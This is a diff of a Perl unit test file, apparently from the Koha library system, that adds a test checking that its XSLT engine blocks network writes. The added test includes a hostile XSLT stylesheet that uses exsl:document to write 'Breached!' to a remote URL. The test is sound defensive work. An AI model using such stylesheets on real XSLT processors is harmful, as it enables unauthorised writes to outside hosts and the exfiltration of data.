|
Lines 19-25
Link Here
|
| 19 |
|
19 |
|
| 20 |
use Modern::Perl; |
20 |
use Modern::Perl; |
| 21 |
use File::Temp qw/tempfile/; |
21 |
use File::Temp qw/tempfile/; |
| 22 |
use Test::More tests => 6; |
22 |
use Test::More tests => 7; |
| 23 |
use Test::Warn; |
23 |
use Test::Warn; |
| 24 |
|
24 |
|
| 25 |
use Koha::XSLT::Base; |
25 |
use Koha::XSLT::Base; |
|
Lines 92-97
warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
Link Here
|
| 92 |
qr/read_net called in XML::LibXSLT/, |
92 |
qr/read_net called in XML::LibXSLT/, |
| 93 |
'Triggered security callback for read_net'; |
93 |
'Triggered security callback for read_net'; |
| 94 |
|
94 |
|
|
|
95 |
# Trigger write_net |
| 96 |
$xslt=<<"EOT"; |
| 97 |
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"> |
| 98 |
<xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/> |
| 99 |
<xsl:template match="/"> |
| 100 |
<exsl:document href="http://hacking.koha-community.org/breached.txt" omit-xml-declaration="yes" method="html"> |
| 101 |
<xsl:text>Breached!</xsl:text> |
| 102 |
</exsl:document> |
| 103 |
</xsl:template> |
| 104 |
</xsl:stylesheet> |
| 105 |
EOT |
| 106 |
$xslt_file = mytempfile($xslt); |
| 107 |
warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); } |
| 108 |
qr/write_net called in XML::LibXSLT/, |
| 109 |
'Triggered security callback for write_net'; |
| 110 |
|
| 95 |
# Check remote import (include should be similar) |
111 |
# Check remote import (include should be similar) |
| 96 |
# Trusting koha-community.org DNS here ;) |
112 |
# Trusting koha-community.org DNS here ;) |
| 97 |
# This should not trigger read_net but fail on the missing import. |
113 |
# This should not trigger read_net but fail on the missing import. |
| 98 |
- |
|
|